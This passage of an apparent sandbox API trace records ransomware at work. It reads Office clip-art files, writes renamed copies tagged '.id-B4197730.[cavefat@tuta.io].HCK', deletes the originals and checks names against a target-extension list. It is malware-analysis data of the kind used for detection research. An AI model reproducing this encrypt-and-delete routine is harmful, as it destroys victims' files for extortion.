lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xd16, lpOverlapped=0x0) returned 1 [0180.146] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xd20, lpOverlapped=0x0) returned 1 [0180.147] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.147] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xea, lpOverlapped=0x0) returned 1 [0180.147] SetEndOfFile (hFile=0x39c) returned 1 [0180.151] CloseHandle (hObject=0x39c) returned 1 [0180.151] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.151] SetEndOfFile (hFile=0x300) returned 1 [0180.153] CloseHandle (hObject=0x300) returned 1 [0180.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\recycle.wmf")) returned 1 [0180.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.156] lstrlenW (lpString=".doc") returned 4 [0180.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.156] lstrlenW (lpString=".docx") returned 5 [0180.156] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0180.156] lstrlenW (lpString=".pdf") returned 4 [0180.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.156] lstrlenW (lpString=".xls") returned 4 [0180.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.156] lstrlenW (lpString=".xlsx") returned 5 [0180.156] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0180.156] lstrlenW (lpString=".ppt") returned 4 [0180.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.156] lstrlenW (lpString=".zip") returned 4 [0180.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.156] lstrlenW (lpString=".rar") returned 4 [0180.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.156] lstrlenW (lpString=".bz2") returned 4 [0180.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.156] lstrlenW (lpString=".7z") returned 3 [0180.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".dbf") returned 4 [0180.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".1cd") returned 4 [0180.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".jpg") returned 4 [0180.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".doc") returned 4 [0180.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString=".docx") returned 5 [0180.157] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0180.157] lstrlenW (lpString=".pdf") returned 4 [0180.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString=".xls") returned 4 [0180.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.157] lstrlenW (lpString=".xlsx") returned 5 [0180.157] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0180.157] lstrlenW (lpString=".ppt") returned 4 [0180.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".zip") returned 4 [0180.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.157] lstrlenW (lpString=".rar") returned 4 [0180.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString=".bz2") returned 4 [0180.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString=".7z") returned 3 [0180.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".dbf") returned 4 [0180.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".1cd") returned 4 [0180.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\RECYCLE.WMF") returned 67 [0180.157] lstrlenW (lpString=".jpg") returned 4 [0180.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.157] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.157] lstrlenW (lpString="SL00268_.WMF") returned 12 [0180.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.160] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3932) returned 1 [0180.160] CloseHandle (hObject=0x2fc) returned 1 [0180.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf")) returned 0x220 [0180.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.165] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.165] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.166] GetLastError () returned 0x0 [0180.166] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xf5c, lpOverlapped=0x0) returned 1 [0180.169] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf60, lpOverlapped=0x0) returned 1 [0180.169] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.170] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.170] SetEndOfFile (hFile=0x370) returned 1 [0180.171] CloseHandle (hObject=0x370) returned 1 [0180.173] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.173] SetEndOfFile (hFile=0x3a4) returned 1 [0180.175] CloseHandle (hObject=0x3a4) returned 1 [0180.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00268_.wmf")) returned 1 [0180.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString=".doc") returned 4 [0180.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString=".docx") returned 5 [0180.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.181] lstrlenW (lpString=".pdf") returned 4 [0180.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString=".xls") returned 4 [0180.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.181] lstrlenW (lpString=".xlsx") returned 5 [0180.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.181] lstrlenW (lpString=".ppt") returned 4 [0180.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString=".zip") returned 4 [0180.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.181] lstrlenW (lpString=".rar") returned 4 [0180.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString=".bz2") returned 4 [0180.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString=".7z") returned 3 [0180.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString=".dbf") returned 4 [0180.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString=".1cd") returned 4 [0180.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString=".jpg") returned 4 [0180.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString=".doc") returned 4 [0180.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString=".docx") returned 5 [0180.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.181] lstrlenW (lpString=".pdf") returned 4 [0180.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString=".xls") returned 4 [0180.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.181] lstrlenW (lpString=".xlsx") returned 5 [0180.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.181] lstrlenW (lpString=".ppt") returned 4 [0180.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.181] lstrlenW (lpString=".zip") returned 4 [0180.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.181] lstrlenW (lpString=".rar") returned 4 [0180.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.181] lstrlenW (lpString=".bz2") returned 4 [0180.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.182] lstrlenW (lpString=".7z") returned 3 [0180.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.182] lstrlenW (lpString=".dbf") returned 4 [0180.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.182] lstrlenW (lpString=".1cd") returned 4 [0180.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00268_.WMF") returned 68 [0180.182] lstrlenW (lpString=".jpg") returned 4 [0180.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.182] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.182] lstrlenW (lpString="SL00452_.WMF") returned 12 [0180.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.185] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1344) returned 1 [0180.186] CloseHandle (hObject=0x370) returned 1 [0180.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf")) returned 0x220 [0180.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.188] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.188] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.189] GetLastError () returned 0x0 [0180.189] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x540, lpOverlapped=0x0) returned 1 [0180.190] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x550, lpOverlapped=0x0) returned 1 [0180.191] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.191] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.192] SetEndOfFile (hFile=0x2fc) returned 1 [0180.194] CloseHandle (hObject=0x2fc) returned 1 [0180.196] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.196] SetEndOfFile (hFile=0x368) returned 1 [0180.200] CloseHandle (hObject=0x368) returned 1 [0180.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl00452_.wmf")) returned 1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString=".doc") returned 4 [0180.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".docx") returned 5 [0180.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.204] lstrlenW (lpString=".pdf") returned 4 [0180.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".xls") returned 4 [0180.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.204] lstrlenW (lpString=".xlsx") returned 5 [0180.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.204] lstrlenW (lpString=".ppt") returned 4 [0180.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString=".zip") returned 4 [0180.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.204] lstrlenW (lpString=".rar") returned 4 [0180.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".bz2") returned 4 [0180.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".7z") returned 3 [0180.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString=".dbf") returned 4 [0180.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString=".1cd") returned 4 [0180.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString=".jpg") returned 4 [0180.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString=".doc") returned 4 [0180.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".docx") returned 5 [0180.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.204] lstrlenW (lpString=".pdf") returned 4 [0180.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString=".xls") returned 4 [0180.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.204] lstrlenW (lpString=".xlsx") returned 5 [0180.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.204] lstrlenW (lpString=".ppt") returned 4 [0180.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.204] lstrlenW (lpString=".zip") returned 4 [0180.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.205] lstrlenW (lpString=".rar") returned 4 [0180.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString=".bz2") returned 4 [0180.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString=".7z") returned 3 [0180.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.205] lstrlenW (lpString=".dbf") returned 4 [0180.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.205] lstrlenW (lpString=".1cd") returned 4 [0180.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL00452_.WMF") returned 68 [0180.205] lstrlenW (lpString=".jpg") returned 4 [0180.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.205] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.205] lstrlenW (lpString="SL01394_.WMF") returned 12 [0180.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.207] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6916) returned 1 [0180.207] CloseHandle (hObject=0x3a4) returned 1 [0180.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf")) returned 0x220 [0180.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.211] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.211] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.215] GetLastError () returned 0x0 [0180.215] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1b04, lpOverlapped=0x0) returned 1 [0180.217] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0180.217] ReadFile (in: 